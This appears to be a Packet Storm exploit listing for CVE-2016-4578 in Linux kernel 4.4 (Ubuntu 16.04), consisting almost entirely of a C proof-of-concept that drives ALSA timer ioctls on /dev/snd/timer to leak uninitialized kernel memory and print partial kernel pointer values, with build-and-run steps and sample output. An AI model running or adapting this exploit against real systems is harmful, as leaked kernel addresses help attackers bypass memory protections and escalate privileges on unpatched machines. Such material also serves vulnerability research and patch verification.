Lucene search

K
packetstormWally0813PACKETSTORM:152031
HistoryMar 11, 2019 - 12:00 a.m.

Linux Kernel 4.4 (Ubuntu 16.04) snd_timer_user_ccallback() Kernel Pointer Leak

2019-03-1100:00:00
Wally0813
packetstormsecurity.com
71

0.0004 Low

EPSS

Percentile

8.3%

`#include <stdio.h>  
#include <errno.h>  
#include <string.h>  
#include <unistd.h>  
#include <stdint.h>  
#include <sys/syscall.h>  
#include <asm/unistd_64.h>  
#include <sys/types.h>  
#include <sys/stat.h>  
#include <fcntl.h>  
#include <sys/mman.h>  
#include <sys/stat.h>  
#include <sys/ioctl.h>  
#include <sound/asound.h>  
  
# Exploit Title: Linux Kernel 4.4 (Ubuntu 16.04) - Leak kernel pointer in snd_timer_user_ccallback()  
  
# Google Dork: -  
  
# Date: 2019-03-11  
  
# Exploit Author: wally0813  
  
# Vendor Homepage: -  
  
# Software Link: -  
  
# Version: Linux Kernel 4.4 (Ubuntu 16.04)  
  
# Tested on: ubuntu 4.4.0-21-generic #37-Ubuntu SMP Mon Apr 18 18:33:37 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux  
  
# CVE: CVE-2016-4578  
  
# Category: Local  
  
  
  
/*  
* [ Briefs ]  
* - If snd_timer_user_ccallback() doesn't initialize snd_timer_tread.event and snd_timer_tread.val, they are leaked by snd_timer_user_read()  
* - This is local exploit against the CVE-2016-4578.  
*  
* [ Tested version ]  
* - 4.4.0-21-generic #37-Ubuntu SMP Mon Apr 18 18:33:37 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux  
*  
* [ Prerequisites ]  
* -   
*  
* [ Goal ]  
* - Leak 4 bytes kernel pointer address using snd_timer_user_ccallback()  
*  
* [ Run exploit ]  
* - $ gcc -o poc poc.c  
* - $ sudo ./poc  
* leak_value(event) : ffff8800  
* leak_value(val) : ffffffff  
*  
* [ Contact ]  
* - [email protected]  
*/  
  
  
  
int fd;  
  
void leak(){  
  
struct snd_timer_tread td;  
struct snd_timer_select st;  
struct snd_timer_params ps;  
int r;  
unsigned int leak_value_e, leak_value_v;  
int tread;  
  
memset(&td,0,sizeof(td));  
memset(&st,0,sizeof(st));  
memset(&ps,0,sizeof(ps));  
  
  
// set tread  
tread = 1;  
ps.filter |= 1<<SNDRV_TIMER_EVENT_START;  
ps.ticks = 1000 * 1000;  
  
r = ioctl(fd, SNDRV_TIMER_IOCTL_TREAD, &tread);  
if (r) {  
printf("SNDRV_TIMER_IOCTL_TREAD error : %d, %s\n", errno, strerror(errno));  
return;  
}  
  
  
// vuln trigger  
st.id.dev_class = SNDRV_TIMER_CLASS_GLOBAL;  
st.id.dev_sclass = SNDRV_TIMER_SCLASS_APPLICATION;  
r = ioctl(fd, SNDRV_TIMER_IOCTL_SELECT, &st);  
if (r) {  
printf("SNDRV_TIMER_IOCTL_SELECT error : %d, %s\n", errno, strerror(errno));  
return;  
}  
  
r = ioctl(fd, SNDRV_TIMER_IOCTL_PARAMS, &ps);  
if (r) {  
printf("SNDRV_TIMER_IOCTL_PARAMS error : %d, %s\n", errno, strerror(errno));  
return;  
}  
  
r = ioctl(fd, SNDRV_TIMER_IOCTL_START);  
if (r) {  
printf("SNDRV_TIMER_IOCTL_START error : %d, %s\n", errno, strerror(errno));  
return;  
}  
  
  
// get leak  
r = read(fd, &td, sizeof(td));  
  
leak_value_e = *((unsigned long *)(&td.event+1));  
printf("leak_value(event) : %lx\n", leak_value_e);  
  
leak_value_v = *((unsigned long *)(&td.val+1));  
printf("leak_value(val) : %lx\n", leak_value_v);  
  
}  
  
int main(int argc, char **argv)  
{  
fd = open("/dev/snd/timer", O_RDWR);  
  
if (fd < 0) {  
printf("open error : %d, %s\n", errno, strerror(errno));  
return -1;  
}  
  
leak();  
close(fd);  
return 0;  
}  
`